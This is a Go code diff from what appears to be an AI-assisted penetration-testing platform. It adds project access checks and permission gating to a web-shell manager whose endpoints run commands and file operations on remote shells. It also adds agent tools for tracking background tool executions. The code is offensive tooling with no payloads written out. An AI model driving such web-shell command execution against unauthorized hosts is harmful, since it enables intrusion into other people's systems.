||||
}
|
||||
if bus != nil {
|
||||
bus.CloseConversation(conversationID)
|
||||
}
|
||||
|
||||
@@ -78,3 +78,23 @@ func TestCancelTaskDefaultCauseIsTaskCancelled(t *testing.T) {
|
||||
t.Fatalf("expected tool canceler path for default cancel cause")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFinishTaskInvokesToolCancelerOnSessionEnd(t *testing.T) {
|
||||
tm := NewAgentTaskManager()
|
||||
calls := 0
|
||||
tm.SetToolCanceler(func(conversationID string) {
|
||||
if conversationID == "conv-3" {
|
||||
calls++
|
||||
}
|
||||
})
|
||||
|
||||
_, cancel := context.WithCancelCause(context.Background())
|
||||
if _, err := tm.StartTask("conv-3", "hello", cancel); err != nil {
|
||||
t.Fatalf("StartTask: %v", err)
|
||||
}
|
||||
|
||||
tm.FinishTask("conv-3", "completed")
|
||||
if calls != 1 {
|
||||
t.Fatalf("expected one tool cleanup on FinishTask, got %d", calls)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -352,26 +352,28 @@ func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler {
|
||||
|
||||
// CreateConnectionRequest 创建连接请求
|
||||
type CreateConnectionRequest struct {
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
ProjectID string `json:"project_id"`
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
}
|
||||
|
||||
// UpdateConnectionRequest 更新连接请求
|
||||
type UpdateConnectionRequest struct {
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
ProjectID string `json:"project_id"`
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
}
|
||||
|
||||
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections)
|
||||
@@ -381,7 +383,7 @@ func (h *WebShellHandler) ListConnections(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
session, _ := security.CurrentSession(c)
|
||||
list, err := h.db.ListWebshellConnectionsForAccess(session.UserID, session.Scope)
|
||||
list, err := h.db.ListWebshellConnectionsForAccess(session.UserID, session.Scope, c.Query("project_id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
@@ -412,6 +414,11 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
||||
return
|
||||
}
|
||||
projectID := strings.TrimSpace(req.ProjectID)
|
||||
if !h.canAccessProject(c, projectID) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||
return
|
||||
}
|
||||
method := strings.ToLower(strings.TrimSpace(req.Method))
|
||||
if method != "get" && method != "post" {
|
||||
method = "post"
|
||||
@@ -422,6 +429,7 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
|
||||
}
|
||||
conn := &database.WebShellConnection{
|
||||
ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
|
||||
ProjectID: projectID,
|
||||
URL: req.URL,
|
||||
Password: strings.TrimSpace(req.Password),
|
||||
Type: shellType,
|
||||
@@ -477,6 +485,11 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
||||
return
|
||||
}
|
||||
projectID := strings.TrimSpace(req.ProjectID)
|
||||
if !h.canAccessProject(c, projectID) {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||
return
|
||||
}
|
||||
method := strings.ToLower(strings.TrimSpace(req.Method))
|
||||
if method != "get" && method != "post" {
|
||||
method = "post"
|
||||
@@ -486,15 +499,16 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
|
||||
shellType = "php"
|
||||
}
|
||||
conn := &database.WebShellConnection{
|
||||
ID: id,
|
||||
URL: req.URL,
|
||||
Password: strings.TrimSpace(req.Password),
|
||||
Type: shellType,
|
||||
Method: method,
|
||||
CmdParam: strings.TrimSpace(req.CmdParam),
|
||||
Remark: strings.TrimSpace(req.Remark),
|
||||
Encoding: normalizeWebshellEncoding(req.Encoding),
|
||||
OS: normalizeWebshellOS(req.OS),
|
||||
ID: id,
|
||||
ProjectID: projectID,
|
||||
URL: req.URL,
|
||||
Password: strings.TrimSpace(req.Password),
|
||||
Type: shellType,
|
||||
Method: method,
|
||||
CmdParam: strings.TrimSpace(req.CmdParam),
|
||||
Remark: strings.TrimSpace(req.Remark),
|
||||
Encoding: normalizeWebshellEncoding(req.Encoding),
|
||||
OS: normalizeWebshellOS(req.OS),
|
||||
}
|
||||
if err := h.db.UpdateWebshellConnection(conn); err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
@@ -721,15 +735,22 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
|
||||
return
|
||||
}
|
||||
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
|
||||
if !allowed {
|
||||
// Pre-save connectivity tests send form credentials without connection_id.
|
||||
// Saved connections must go through resource ACL; DB credentials are authoritative.
|
||||
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
|
||||
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
|
||||
if !allowed {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
// Never let a caller pair an authorized ID with attacker-controlled
|
||||
// transport credentials or a URL.
|
||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
|
||||
} else if !security.SessionHasPermission(c, "webshell:write") {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
// The database record is authoritative. Never let a caller pair an
|
||||
// authorized ID with attacker-controlled transport credentials or a URL.
|
||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
|
||||
|
||||
parsed, err := url.Parse(req.URL)
|
||||
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
||||
@@ -823,13 +844,18 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
|
||||
return
|
||||
}
|
||||
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
|
||||
if !allowed {
|
||||
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
|
||||
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
|
||||
if !allowed {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
|
||||
} else if !security.SessionHasPermission(c, "webshell:write") {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||
return
|
||||
}
|
||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
|
||||
|
||||
parsed, err := url.Parse(req.URL)
|
||||
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
||||
@@ -928,6 +954,21 @@ func (h *WebShellHandler) authorizedWebshellConnection(c *gin.Context, connectio
|
||||
return conn, true
|
||||
}
|
||||
|
||||
func (h *WebShellHandler) canAccessProject(c *gin.Context, projectID string) bool {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == "" || h.db == nil {
|
||||
return true
|
||||
}
|
||||
session, ok := security.CurrentSession(c)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if session.Scope == database.RBACScopeAll {
|
||||
return true
|
||||
}
|
||||
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", projectID)
|
||||
}
|
||||
|
||||
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
|
||||
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
|
||||
if conn == nil {
|
||||
|
||||
@@ -40,15 +40,47 @@ func TestWebshellExecRequiresConnectionAccessWhenConnectionIDProvided(t *testing
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebshellExecRejectsAdHocURLWithoutConnectionID(t *testing.T) {
|
||||
func TestWebshellExecAllowsAdHocURLWithoutConnectionID(t *testing.T) {
|
||||
gin.SetMode(gin.TestMode)
|
||||
_, user, _, _ := setupWebshellRBACTest(t)
|
||||
handler := NewWebShellHandler(zap.NewNop(), nil)
|
||||
// Ad-hoc probe (connectivity test before save) must not be rejected as "无权访问".
|
||||
// The target URL will fail to connect; we only assert auth allows the request through.
|
||||
w := performWebshellJSON(user, http.MethodPost, "/api/webshell/exec", map[string]interface{}{
|
||||
"url": "http://127.0.0.1/admin", "command": "id",
|
||||
"url": "http://127.0.0.1:1/admin", "command": "id",
|
||||
}, handler.Exec)
|
||||
if w.Code == http.StatusForbidden {
|
||||
t.Fatalf("ad-hoc URL status = %d, want non-403: %s", w.Code, w.Body.String())
|
||||
}
|
||||
var resp ExecResponse
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("decode response: %v body=%s", err, w.Body.String())
|
||||
}
|
||||
if resp.OK {
|
||||
t.Fatalf("expected connection failure for closed port, got ok=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebshellExecRejectsAdHocWithoutWritePermission(t *testing.T) {
|
||||
gin.SetMode(gin.TestMode)
|
||||
user := &database.RBACUser{ID: "u_ro", Username: "readonly"}
|
||||
handler := NewWebShellHandler(zap.NewNop(), nil)
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"url": "http://127.0.0.1/admin", "command": "id",
|
||||
})
|
||||
w := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(w)
|
||||
c.Request = httptest.NewRequest(http.MethodPost, "/api/webshell/exec", bytes.NewReader(payload))
|
||||
c.Request.Header.Set("Content-Type", "application/json")
|
||||
c.Set(security.ContextSessionKey, security.Session{
|
||||
UserID: user.ID,
|
||||
Username: user.Username,
|
||||
Permissions: map[string]bool{"webshell:read": true},
|
||||
Scope: database.RBACScopeAssigned,
|
||||
})
|
||||
handler.Exec(c)
|
||||
if w.Code != http.StatusForbidden {
|
||||
t.Fatalf("ad-hoc URL status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
|
||||
t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -31,6 +31,11 @@ const (
|
||||
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
|
||||
ToolAnalyzeImage = "analyze_image"
|
||||
|
||||
// 长耗时工具执行控制(后台 execution 查询/等待/取消)
|
||||
ToolGetToolExecution = "get_tool_execution"
|
||||
ToolWaitToolExecution = "wait_tool_execution"
|
||||
ToolCancelToolExecution = "cancel_tool_execution"
|
||||
|
||||
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
|
||||
ToolWebshellExec = "webshell_exec"
|
||||
ToolWebshellFileList = "webshell_file_list"
|
||||
@@ -91,6 +96,9 @@ func IsBuiltinTool(toolName string) bool {
|
||||
ToolListKnowledgeRiskTypes,
|
||||
ToolSearchKnowledgeBase,
|
||||
ToolAnalyzeImage,
|
||||
ToolGetToolExecution,
|
||||
ToolWaitToolExecution,
|
||||
ToolCancelToolExecution,
|
||||
ToolWebshellExec,
|
||||
ToolWebshellFileList,
|
||||
ToolWebshellFileRead,
|
||||
@@ -149,6 +157,9 @@ func GetAllBuiltinTools() []string {
|
||||
ToolListKnowledgeRiskTypes,
|
||||
ToolSearchKnowledgeBase,
|
||||
ToolAnalyzeImage,
|
||||
ToolGetToolExecution,
|
||||
ToolWaitToolExecution,
|
||||
ToolCancelToolExecution,
|
||||
ToolWebshellExec,
|
||||
ToolWebshellFileList,
|
||||
ToolWebshellFileRead,
|
||||
|
||||
@@ -0,0 +1,296 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultExecutionWaitTimeout = 60 * time.Second
|
||||
maxExecutionWaitTimeout = 10 * time.Minute
|
||||
defaultPartialPreviewBytes = 4096
|
||||
maxPartialPreviewBytes = 64 * 1024
|
||||
)
|
||||
|
||||
// RegisterExecutionControlTools exposes execution handle operations to Eino as
|
||||
// ordinary MCP tools. This keeps the agent loop native: the model calls a tool,
|
||||
// receives a bounded result, and may call wait_tool_execution again if needed.
|
||||
func RegisterExecutionControlTools(server *Server, external *ExternalMCPManager) {
|
||||
if server == nil {
|
||||
return
|
||||
}
|
||||
|
||||
server.RegisterTool(Tool{
|
||||
Name: builtin.ToolGetToolExecution,
|
||||
Description: "查询后台工具 execution 的当前状态、结果和错误。用于外部 MCP 工具等待超时后,凭 execution_id 继续查看进度。",
|
||||
ShortDescription: "查询后台工具执行状态",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
|
||||
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
|
||||
},
|
||||
"required": []string{"execution_id"},
|
||||
},
|
||||
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
id := stringArg(args, "execution_id")
|
||||
if id == "" {
|
||||
return textToolResult("execution_id 必填", true), nil
|
||||
}
|
||||
exec := lookupToolExecution(server, external, id)
|
||||
if exec == nil {
|
||||
return textToolResult("未找到该 execution_id: "+id, true), nil
|
||||
}
|
||||
return textToolResult(formatExecutionForModel(exec, executionFormatOptionsFromArgs(args)), false), nil
|
||||
})
|
||||
|
||||
server.RegisterTool(Tool{
|
||||
Name: builtin.ToolWaitToolExecution,
|
||||
Description: "继续等待一个后台工具 execution 完成。每次等待都有 timeout_seconds 上限;若仍未完成,会返回当前状态,模型可稍后再次调用。",
|
||||
ShortDescription: "有界等待后台工具执行",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||
"timeout_seconds": map[string]interface{}{"type": "number", "description": "本次最多等待秒数,默认 60,最大 600"},
|
||||
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
|
||||
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
|
||||
},
|
||||
"required": []string{"execution_id"},
|
||||
},
|
||||
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
id := stringArg(args, "execution_id")
|
||||
if id == "" {
|
||||
return textToolResult("execution_id 必填", true), nil
|
||||
}
|
||||
wait := durationSecondsArg(args, "timeout_seconds", defaultExecutionWaitTimeout, maxExecutionWaitTimeout)
|
||||
snap, err := waitToolExecutionSnapshot(ctx, server, external, id, wait)
|
||||
if err != nil && !errors.Is(err, ErrExecutionWaitTimeout) {
|
||||
return textToolResult("等待 execution 失败: "+err.Error(), true), nil
|
||||
}
|
||||
if snap == nil || snap.Execution == nil {
|
||||
return textToolResult("未找到该 execution_id: "+id, true), nil
|
||||
}
|
||||
body := formatExecutionForModel(snap.Execution, executionFormatOptionsFromArgs(args))
|
||||
if errors.Is(err, ErrExecutionWaitTimeout) {
|
||||
body += "\n\n本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。"
|
||||
}
|
||||
return textToolResult(body, false), nil
|
||||
})
|
||||
|
||||
server.RegisterTool(Tool{
|
||||
Name: builtin.ToolCancelToolExecution,
|
||||
Description: "取消一个后台工具 execution。用于外部 MCP 工具长时间运行、误调用或用户要求停止时。",
|
||||
ShortDescription: "取消后台工具执行",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||
"reason": map[string]interface{}{"type": "string", "description": "取消原因,可选,会写入终止说明"},
|
||||
},
|
||||
"required": []string{"execution_id"},
|
||||
},
|
||||
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||
id := stringArg(args, "execution_id")
|
||||
if id == "" {
|
||||
return textToolResult("execution_id 必填", true), nil
|
||||
}
|
||||
reason := stringArg(args, "reason")
|
||||
if server.CancelToolExecutionWithNote(id, reason) {
|
||||
return textToolResult("已请求取消内部工具 execution: "+id, false), nil
|
||||
}
|
||||
if external != nil && external.CancelToolExecutionWithNote(id, reason) {
|
||||
return textToolResult("已请求取消外部 MCP execution: "+id, false), nil
|
||||
}
|
||||
return textToolResult("未找到进行中的 execution,或该 execution 已结束: "+id, true), nil
|
||||
})
|
||||
}
|
||||
|
||||
func waitToolExecutionSnapshot(ctx context.Context, server *Server, external *ExternalMCPManager, id string, wait time.Duration) (*ExecutionSnapshot, error) {
|
||||
if server != nil && server.executionService != nil && server.executionService.getEntry(id) != nil {
|
||||
return server.executionService.Wait(ctx, id, wait)
|
||||
}
|
||||
if external != nil && external.executionService != nil && external.executionService.getEntry(id) != nil {
|
||||
return external.executionService.Wait(ctx, id, wait)
|
||||
}
|
||||
if server != nil && server.executionService != nil {
|
||||
if snap, err := server.executionService.Get(id); err == nil {
|
||||
return snap, nil
|
||||
}
|
||||
}
|
||||
if external != nil && external.executionService != nil {
|
||||
return external.executionService.Get(id)
|
||||
}
|
||||
exec := lookupToolExecution(server, external, id)
|
||||
if exec == nil {
|
||||
return nil, fmt.Errorf("execution not found: %s", id)
|
||||
}
|
||||
return &ExecutionSnapshot{Execution: exec}, nil
|
||||
}
|
||||
|
||||
func lookupToolExecution(server *Server, external *ExternalMCPManager, id string) *ToolExecution {
|
||||
if server != nil {
|
||||
if exec, ok := server.GetExecution(id); ok && exec != nil {
|
||||
return exec
|
||||
}
|
||||
}
|
||||
if external != nil {
|
||||
if exec, ok := external.GetExecution(id); ok && exec != nil {
|
||||
return exec
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type executionFormatOptions struct {
|
||||
includePartialOutput bool
|
||||
partialMaxBytes int
|
||||
}
|
||||
|
||||
func executionFormatOptionsFromArgs(args map[string]interface{}) executionFormatOptions {
|
||||
includePartial := true
|
||||
if raw, ok := args["include_partial_output"]; ok {
|
||||
if b, ok := raw.(bool); ok {
|
||||
includePartial = b
|
||||
} else if s := strings.TrimSpace(fmt.Sprint(raw)); s != "" {
|
||||
includePartial = strings.EqualFold(s, "true") || s == "1" || strings.EqualFold(s, "yes")
|
||||
}
|
||||
}
|
||||
maxBytes := intArg(args, "partial_output_max_bytes", defaultPartialPreviewBytes, maxPartialPreviewBytes)
|
||||
return executionFormatOptions{includePartialOutput: includePartial, partialMaxBytes: maxBytes}
|
||||
}
|
||||
|
||||
func formatExecutionForModel(exec *ToolExecution, opts executionFormatOptions) string {
|
||||
if exec == nil {
|
||||
return "execution: null"
|
||||
}
|
||||
payload := map[string]interface{}{
|
||||
"execution_id": exec.ID,
|
||||
"tool": exec.ToolName,
|
||||
"status": exec.Status,
|
||||
"started_at": exec.StartTime.Format(time.RFC3339),
|
||||
}
|
||||
if exec.EndTime != nil {
|
||||
payload["ended_at"] = exec.EndTime.Format(time.RFC3339)
|
||||
}
|
||||
if exec.Duration > 0 {
|
||||
payload["duration"] = exec.Duration.String()
|
||||
}
|
||||
if exec.Error != "" {
|
||||
payload["error"] = exec.Error
|
||||
}
|
||||
if exec.Result != nil {
|
||||
payload["result"] = ToolResultPlainText(exec.Result)
|
||||
payload["is_error"] = exec.Result.IsError
|
||||
}
|
||||
if opts.includePartialOutput && exec.PartialOutput != "" {
|
||||
partial := tailStringBytes(exec.PartialOutput, opts.partialMaxBytes)
|
||||
payload["partial_output"] = partial
|
||||
payload["partial_output_bytes"] = exec.PartialOutputBytes
|
||||
payload["partial_output_truncated"] = exec.PartialOutputTruncated || len([]byte(partial)) < len([]byte(exec.PartialOutput))
|
||||
if exec.PartialOutputUpdatedAt != nil {
|
||||
payload["partial_output_updated_at"] = exec.PartialOutputUpdatedAt.Format(time.RFC3339)
|
||||
}
|
||||
}
|
||||
b, err := json.MarshalIndent(payload, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Sprintf("execution_id: %s\nstatus: %s\nerror: %s", exec.ID, exec.Status, exec.Error)
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func tailStringBytes(s string, maxBytes int) string {
|
||||
if maxBytes <= 0 {
|
||||
maxBytes = defaultPartialPreviewBytes
|
||||
}
|
||||
b := []byte(s)
|
||||
if len(b) <= maxBytes {
|
||||
return s
|
||||
}
|
||||
return string(b[len(b)-maxBytes:])
|
||||
}
|
||||
|
||||
func textToolResult(text string, isErr bool) *ToolResult {
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: text}}, IsError: isErr}
|
||||
}
|
||||
|
||||
func stringArg(args map[string]interface{}, key string) string {
|
||||
if args == nil {
|
||||
return ""
|
||||
}
|
||||
raw, ok := args[key]
|
||||
if !ok || raw == nil {
|
||||
return ""
|
||||
}
|
||||
switch v := raw.(type) {
|
||||
case string:
|
||||
return strings.TrimSpace(v)
|
||||
default:
|
||||
return strings.TrimSpace(fmt.Sprint(v))
|
||||
}
|
||||
}
|
||||
|
||||
func durationSecondsArg(args map[string]interface{}, key string, def, max time.Duration) time.Duration {
|
||||
if args == nil {
|
||||
return def
|
||||
}
|
||||
var seconds float64
|
||||
switch v := args[key].(type) {
|
||||
case int:
|
||||
seconds = float64(v)
|
||||
case int64:
|
||||
seconds = float64(v)
|
||||
case float64:
|
||||
seconds = v
|
||||
case json.Number:
|
||||
f, _ := v.Float64()
|
||||
seconds = f
|
||||
case string:
|
||||
f, _ := strconv.ParseFloat(strings.TrimSpace(v), 64)
|
||||
seconds = f
|
||||
}
|
||||
if seconds <= 0 {
|
||||
return def
|
||||
}
|
||||
d := time.Duration(seconds * float64(time.Second))
|
||||
if max > 0 && d > max {
|
||||
return max
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
func intArg(args map[string]interface{}, key string, def, max int) int {
|
||||
if args == nil {
|
||||
return def
|
||||
}
|
||||
var n int
|
||||
switch v := args[key].(type) {
|
||||
case int:
|
||||
n = v
|
||||
case int64:
|
||||
n = int(v)
|
||||
case float64:
|
||||
n = int(v)
|
||||
case json.Number:
|
||||
i, _ := v.Int64()
|
||||
n = int(i)
|
||||
case string:
|
||||
i, _ := strconv.Atoi(strings.TrimSpace(v))
|
||||
n = i
|
||||
}
|
||||
if n <= 0 {
|
||||
return def
|
||||
}
|
||||
if max > 0 && n > max {
|
||||
return max
|
||||
}
|
||||
return n
|
||||
}
|
||||
@@ -0,0 +1,625 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/authctx"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
ToolExecutionStatusQueued = "queued"
|
||||
ToolExecutionStatusRunning = "running"
|
||||
ToolExecutionStatusCompleted = "completed"
|
||||
ToolExecutionStatusFailed = "failed"
|
||||
ToolExecutionStatusCancelled = "cancelled"
|
||||
ToolExecutionStatusHardTimeout = "hard_timeout"
|
||||
ToolExecutionStatusOrphaned = "orphaned"
|
||||
)
|
||||
|
||||
var ErrExecutionWaitTimeout = errors.New("tool execution wait timeout")
|
||||
|
||||
// ExecutionRunFunc is the blocking operation owned by a worker.
|
||||
type ExecutionRunFunc func(context.Context) (*ToolResult, error)
|
||||
|
||||
type ExecutionPreRunFunc func(context.Context, *ToolExecution) (func(), error)
|
||||
|
||||
// ExecutionDoneFunc observes the final persisted state. It is invoked once,
|
||||
// including for late completions after an agent has stopped waiting.
|
||||
type ExecutionDoneFunc func(*ToolExecution)
|
||||
|
||||
type ExecutionRequest struct {
|
||||
ID string
|
||||
ToolName string
|
||||
Arguments map[string]interface{}
|
||||
ConversationID string
|
||||
OwnerUserID string
|
||||
HardTimeout time.Duration
|
||||
PreRun ExecutionPreRunFunc
|
||||
Run ExecutionRunFunc
|
||||
OnDone ExecutionDoneFunc
|
||||
}
|
||||
|
||||
type ExecutionHandle struct {
|
||||
ID string
|
||||
}
|
||||
|
||||
type ExecutionSnapshot struct {
|
||||
Execution *ToolExecution
|
||||
}
|
||||
|
||||
type executionEntry struct {
|
||||
exec *ToolExecution
|
||||
cancel context.CancelFunc
|
||||
done chan struct{}
|
||||
preRun ExecutionPreRunFunc
|
||||
run ExecutionRunFunc
|
||||
result *ToolResult
|
||||
err error
|
||||
}
|
||||
|
||||
// ExecutionService keeps Eino-facing tool calls synchronous while moving the
|
||||
// untrusted blocking work into cancellable workers with explicit execution IDs.
|
||||
type ExecutionService struct {
|
||||
storage MonitorStorage
|
||||
logger *zap.Logger
|
||||
|
||||
mu sync.Mutex
|
||||
entries map[string]*executionEntry
|
||||
abortUserNotes map[string]string
|
||||
maxInMemory int
|
||||
resultMaxBytes int
|
||||
spillRootDir string
|
||||
}
|
||||
|
||||
func NewExecutionService(storage MonitorStorage, logger *zap.Logger) *ExecutionService {
|
||||
if logger == nil {
|
||||
logger = zap.NewNop()
|
||||
}
|
||||
return &ExecutionService{
|
||||
storage: storage,
|
||||
logger: logger,
|
||||
entries: make(map[string]*executionEntry),
|
||||
abortUserNotes: make(map[string]string),
|
||||
maxInMemory: 1000,
|
||||
resultMaxBytes: DefaultToolResultMaxBytes,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ExecutionService) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.resultMaxBytes = maxBytes
|
||||
}
|
||||
|
||||
// ConfigureToolResultSpillRoot sets the reduction-compatible root used when
|
||||
// oversized tool results are spilled to local files (empty → tmp/reduction).
|
||||
func (s *ExecutionService) ConfigureToolResultSpillRoot(rootDir string) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.spillRootDir = strings.TrimSpace(rootDir)
|
||||
}
|
||||
|
||||
func (s *ExecutionService) Submit(ctx context.Context, req ExecutionRequest) (*ExecutionHandle, error) {
|
||||
if s == nil {
|
||||
return nil, fmt.Errorf("execution service is nil")
|
||||
}
|
||||
if req.Run == nil {
|
||||
return nil, fmt.Errorf("execution run func is nil")
|
||||
}
|
||||
id := strings.TrimSpace(req.ID)
|
||||
if id == "" {
|
||||
id = uuid.New().String()
|
||||
}
|
||||
start := time.Now()
|
||||
exec := &ToolExecution{
|
||||
ID: id,
|
||||
ToolName: strings.TrimSpace(req.ToolName),
|
||||
Arguments: cloneArgsMap(req.Arguments),
|
||||
Status: ToolExecutionStatusQueued,
|
||||
StartTime: start,
|
||||
ConversationID: strings.TrimSpace(req.ConversationID),
|
||||
OwnerUserID: strings.TrimSpace(req.OwnerUserID),
|
||||
}
|
||||
if exec.ConversationID == "" {
|
||||
exec.ConversationID = MCPConversationIDFromContext(ctx)
|
||||
}
|
||||
if exec.OwnerUserID == "" {
|
||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||
exec.OwnerUserID = principal.UserID
|
||||
}
|
||||
}
|
||||
|
||||
runCtx := detachedExecutionContext(ctx)
|
||||
var cancel context.CancelFunc
|
||||
if req.HardTimeout > 0 {
|
||||
runCtx, cancel = context.WithTimeout(runCtx, req.HardTimeout)
|
||||
} else {
|
||||
runCtx, cancel = context.WithCancel(runCtx)
|
||||
}
|
||||
entry := &executionEntry{exec: exec, cancel: cancel, done: make(chan struct{}), preRun: req.PreRun, run: req.Run}
|
||||
|
||||
s.mu.Lock()
|
||||
if _, exists := s.entries[id]; exists {
|
||||
s.mu.Unlock()
|
||||
cancel()
|
||||
